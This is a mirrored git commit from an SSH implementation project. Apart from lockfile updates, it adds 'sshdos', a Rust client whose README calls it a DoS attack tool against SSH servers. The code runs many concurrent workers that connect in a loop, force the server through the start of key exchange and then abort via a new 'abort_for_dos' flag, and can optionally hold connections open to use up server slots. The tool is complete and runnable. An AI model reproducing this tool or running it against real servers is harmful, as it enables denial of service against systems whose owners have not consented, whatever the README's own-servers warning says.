mirror of
https://github.com/Noratrieb/cluelessh.git
synced 2026-01-16 17:35:04 +01:00
stuff
This commit is contained in:
parent
afbda574f3
commit
9b49e09983
6 changed files with 339 additions and 1 deletions
120
Cargo.lock
generated
120
Cargo.lock
generated
|
|
@ -447,6 +447,95 @@ version = "0.2.9"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d"
|
checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures"
|
||||||
|
version = "0.3.30"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0"
|
||||||
|
dependencies = [
|
||||||
|
"futures-channel",
|
||||||
|
"futures-core",
|
||||||
|
"futures-executor",
|
||||||
|
"futures-io",
|
||||||
|
"futures-sink",
|
||||||
|
"futures-task",
|
||||||
|
"futures-util",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures-channel"
|
||||||
|
version = "0.3.30"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78"
|
||||||
|
dependencies = [
|
||||||
|
"futures-core",
|
||||||
|
"futures-sink",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures-core"
|
||||||
|
version = "0.3.30"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures-executor"
|
||||||
|
version = "0.3.30"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d"
|
||||||
|
dependencies = [
|
||||||
|
"futures-core",
|
||||||
|
"futures-task",
|
||||||
|
"futures-util",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures-io"
|
||||||
|
version = "0.3.30"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures-macro"
|
||||||
|
version = "0.3.30"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures-sink"
|
||||||
|
version = "0.3.30"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures-task"
|
||||||
|
version = "0.3.30"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures-util"
|
||||||
|
version = "0.3.30"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48"
|
||||||
|
dependencies = [
|
||||||
|
"futures-channel",
|
||||||
|
"futures-core",
|
||||||
|
"futures-io",
|
||||||
|
"futures-macro",
|
||||||
|
"futures-sink",
|
||||||
|
"futures-task",
|
||||||
|
"memchr",
|
||||||
|
"pin-project-lite",
|
||||||
|
"pin-utils",
|
||||||
|
"slab",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "generic-array"
|
name = "generic-array"
|
||||||
version = "0.14.7"
|
version = "0.14.7"
|
||||||
|
|
@ -710,6 +799,12 @@ version = "0.2.14"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
|
checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pin-utils"
|
||||||
|
version = "0.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "pkcs8"
|
name = "pkcs8"
|
||||||
version = "0.10.2"
|
version = "0.10.2"
|
||||||
|
|
@ -1017,6 +1112,15 @@ dependencies = [
|
||||||
"rand_core",
|
"rand_core",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "slab"
|
||||||
|
version = "0.4.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67"
|
||||||
|
dependencies = [
|
||||||
|
"autocfg",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "smallvec"
|
name = "smallvec"
|
||||||
version = "1.13.2"
|
version = "1.13.2"
|
||||||
|
|
@ -1096,6 +1200,22 @@ dependencies = [
|
||||||
"x25519-dalek",
|
"x25519-dalek",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sshdos"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"clap",
|
||||||
|
"eyre",
|
||||||
|
"futures",
|
||||||
|
"rand",
|
||||||
|
"rpassword",
|
||||||
|
"ssh-protocol",
|
||||||
|
"ssh-transport",
|
||||||
|
"tokio",
|
||||||
|
"tracing",
|
||||||
|
"tracing-subscriber",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "strsim"
|
name = "strsim"
|
||||||
version = "0.11.1"
|
version = "0.11.1"
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,12 @@
|
||||||
[workspace]
|
[workspace]
|
||||||
members = ["fakesshd", "ssh", "ssh-connection", "ssh-protocol", "ssh-transport"]
|
members = [
|
||||||
|
"fakesshd",
|
||||||
|
"ssh",
|
||||||
|
"sshdos",
|
||||||
|
"ssh-connection",
|
||||||
|
"ssh-protocol",
|
||||||
|
"ssh-transport",
|
||||||
|
]
|
||||||
resolver = "2"
|
resolver = "2"
|
||||||
|
|
||||||
[workspace.dependencies]
|
[workspace.dependencies]
|
||||||
|
|
|
||||||
|
|
@ -19,6 +19,8 @@ pub struct ClientConnection {
|
||||||
rng: Box<dyn SshRng + Send + Sync>,
|
rng: Box<dyn SshRng + Send + Sync>,
|
||||||
|
|
||||||
plaintext_packets: VecDeque<Packet>,
|
plaintext_packets: VecDeque<Packet>,
|
||||||
|
|
||||||
|
pub abort_for_dos: bool,
|
||||||
}
|
}
|
||||||
|
|
||||||
enum ClientState {
|
enum ClientState {
|
||||||
|
|
@ -67,6 +69,7 @@ impl ClientConnection {
|
||||||
rng: Box::new(rng),
|
rng: Box::new(rng),
|
||||||
|
|
||||||
plaintext_packets: VecDeque::new(),
|
plaintext_packets: VecDeque::new(),
|
||||||
|
abort_for_dos: false,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -215,6 +218,10 @@ impl ClientConnection {
|
||||||
));
|
));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if self.abort_for_dos {
|
||||||
|
return Err(peer_error!("early abort"));
|
||||||
|
}
|
||||||
|
|
||||||
let server_hostkey = dh.string()?;
|
let server_hostkey = dh.string()?;
|
||||||
let server_ephermal_key = dh.string()?;
|
let server_ephermal_key = dh.string()?;
|
||||||
let signature = dh.string()?;
|
let signature = dh.string()?;
|
||||||
|
|
|
||||||
17
sshdos/Cargo.toml
Normal file
17
sshdos/Cargo.toml
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
[package]
|
||||||
|
name = "sshdos"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
ssh-protocol = { path = "../ssh-protocol" }
|
||||||
|
ssh-transport = { path = "../ssh-transport" }
|
||||||
|
clap = { version = "4.5.15", features = ["derive"] }
|
||||||
|
eyre = "0.6.12"
|
||||||
|
rand = "0.8.5"
|
||||||
|
tokio = { version = "1.39.2", features = ["full"] }
|
||||||
|
tracing-subscriber = { version = "0.3.18", features = ["json", "env-filter"] }
|
||||||
|
|
||||||
|
tracing.workspace = true
|
||||||
|
rpassword = "7.3.1"
|
||||||
|
futures = "0.3.30"
|
||||||
4
sshdos/README.md
Normal file
4
sshdos/README.md
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
# ssh
|
||||||
|
|
||||||
|
An SSH client that tries to execute a DoS attack against a server.
|
||||||
|
**Only use this against your own servers!!**
|
||||||
183
sshdos/src/main.rs
Normal file
183
sshdos/src/main.rs
Normal file
|
|
@ -0,0 +1,183 @@
|
||||||
|
use std::{
|
||||||
|
io::Write,
|
||||||
|
sync::{
|
||||||
|
atomic::{AtomicUsize, Ordering},
|
||||||
|
Arc,
|
||||||
|
},
|
||||||
|
time::Duration,
|
||||||
|
};
|
||||||
|
|
||||||
|
use clap::Parser;
|
||||||
|
|
||||||
|
use eyre::Context;
|
||||||
|
use rand::RngCore;
|
||||||
|
use tokio::{
|
||||||
|
io::{AsyncReadExt, AsyncWriteExt},
|
||||||
|
net::TcpStream,
|
||||||
|
};
|
||||||
|
use tracing::{debug, error, info};
|
||||||
|
|
||||||
|
use ssh_protocol::{
|
||||||
|
transport::{self},
|
||||||
|
SshStatus,
|
||||||
|
};
|
||||||
|
use tracing_subscriber::EnvFilter;
|
||||||
|
|
||||||
|
struct ThreadRngRand;
|
||||||
|
impl ssh_protocol::transport::SshRng for ThreadRngRand {
|
||||||
|
fn fill_bytes(&mut self, dest: &mut [u8]) {
|
||||||
|
rand::thread_rng().fill_bytes(dest);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(clap::Parser, Debug, Clone)]
|
||||||
|
struct Args {
|
||||||
|
#[arg(short = 'p', long, default_value_t = 22)]
|
||||||
|
port: u16,
|
||||||
|
#[arg(short = 't', long, default_value_t = 16)]
|
||||||
|
threads: usize,
|
||||||
|
#[arg(short = 'd', long, default_value_t = 1.0)]
|
||||||
|
delay: f32,
|
||||||
|
#[arg(short = 'c', long)]
|
||||||
|
chill: bool,
|
||||||
|
destination: String,
|
||||||
|
command: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
enum Operation {
|
||||||
|
PasswordEntered(std::io::Result<String>),
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() -> eyre::Result<()> {
|
||||||
|
let args = Args::parse();
|
||||||
|
|
||||||
|
let env_filter = EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info"));
|
||||||
|
tracing_subscriber::fmt().with_env_filter(env_filter).init();
|
||||||
|
|
||||||
|
let counter = Arc::new(AtomicUsize::new(0));
|
||||||
|
|
||||||
|
let mut handles = Vec::new();
|
||||||
|
|
||||||
|
for i in 0..args.threads {
|
||||||
|
info!("Starting worker {i}");
|
||||||
|
|
||||||
|
let args = args.clone();
|
||||||
|
let counter = counter.clone();
|
||||||
|
let handle = tokio::spawn(async move {
|
||||||
|
loop {
|
||||||
|
let result = execute_attempt(&args).await;
|
||||||
|
counter.fetch_add(1, Ordering::Relaxed);
|
||||||
|
tokio::time::sleep(Duration::from_secs_f32(args.delay)).await;
|
||||||
|
info!(
|
||||||
|
"Executed attempt {} on worker {i} with output {result:?}",
|
||||||
|
counter.load(Ordering::Relaxed)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
handles.push(handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
futures::future::join_all(handles).await;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn execute_attempt(args: &Args) -> eyre::Result<()> {
|
||||||
|
let conn = TcpStream::connect(&format!("{}:{}", args.destination, args.port)).await?;
|
||||||
|
|
||||||
|
let result = execute_attempt_inner(args, conn).await;
|
||||||
|
|
||||||
|
if args.chill {
|
||||||
|
info!("Chilling, taking up space");
|
||||||
|
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||||
|
}
|
||||||
|
|
||||||
|
result
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn execute_attempt_inner(args: &Args, mut conn: TcpStream) -> eyre::Result<()> {
|
||||||
|
let username = "dos";
|
||||||
|
|
||||||
|
let mut transport = transport::client::ClientConnection::new(ThreadRngRand);
|
||||||
|
transport.abort_for_dos = true;
|
||||||
|
|
||||||
|
let mut state = ssh_protocol::ClientConnection::new(
|
||||||
|
transport,
|
||||||
|
ssh_protocol::auth::ClientAuth::new(username.as_bytes().to_vec()),
|
||||||
|
);
|
||||||
|
|
||||||
|
let (send_op, mut recv_op) = tokio::sync::mpsc::channel::<Operation>(10);
|
||||||
|
|
||||||
|
let mut buf = [0; 1024];
|
||||||
|
|
||||||
|
loop {
|
||||||
|
while let Some(msg) = state.next_msg_to_send() {
|
||||||
|
conn.write_all(&msg.to_bytes())
|
||||||
|
.await
|
||||||
|
.wrap_err("writing response")?;
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(auth) = state.auth() {
|
||||||
|
for req in auth.user_requests() {
|
||||||
|
match req {
|
||||||
|
ssh_protocol::auth::ClientUserRequest::Password => {
|
||||||
|
let username = username.to_owned();
|
||||||
|
let destination = args.destination.clone();
|
||||||
|
let send_op = send_op.clone();
|
||||||
|
std::thread::spawn(move || {
|
||||||
|
let password = rpassword::prompt_password(format!(
|
||||||
|
"{}@{}'s password: ",
|
||||||
|
username, destination
|
||||||
|
));
|
||||||
|
let _ = send_op.blocking_send(Operation::PasswordEntered(password));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
ssh_protocol::auth::ClientUserRequest::Banner(banner) => {
|
||||||
|
let banner = String::from_utf8_lossy(&banner);
|
||||||
|
std::io::stdout().write(&banner.as_bytes())?;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tokio::select! {
|
||||||
|
read = conn.read(&mut buf) => {
|
||||||
|
let read = read.wrap_err("reading from connection")?;
|
||||||
|
if read == 0 {
|
||||||
|
info!("Did not read any bytes from TCP stream, EOF");
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
if let Err(err) = state.recv_bytes(&buf[..read]) {
|
||||||
|
match err {
|
||||||
|
SshStatus::PeerError(err) => {
|
||||||
|
if err == "early abort" {
|
||||||
|
// Expected.
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
error!(?err, "disconnecting client after invalid operation");
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
SshStatus::Disconnect => {
|
||||||
|
error!("Received disconnect from server");
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
op = recv_op.recv() => {
|
||||||
|
match op {
|
||||||
|
Some(Operation::PasswordEntered(password)) => {
|
||||||
|
if let Some(auth) = state.auth() {
|
||||||
|
auth.send_password(&password?);
|
||||||
|
} else {
|
||||||
|
debug!("Ignoring entered password as the state has moved on");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None => {}
|
||||||
|
}
|
||||||
|
state.progress();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Loading…
Add table
Add a link
Reference in a new issue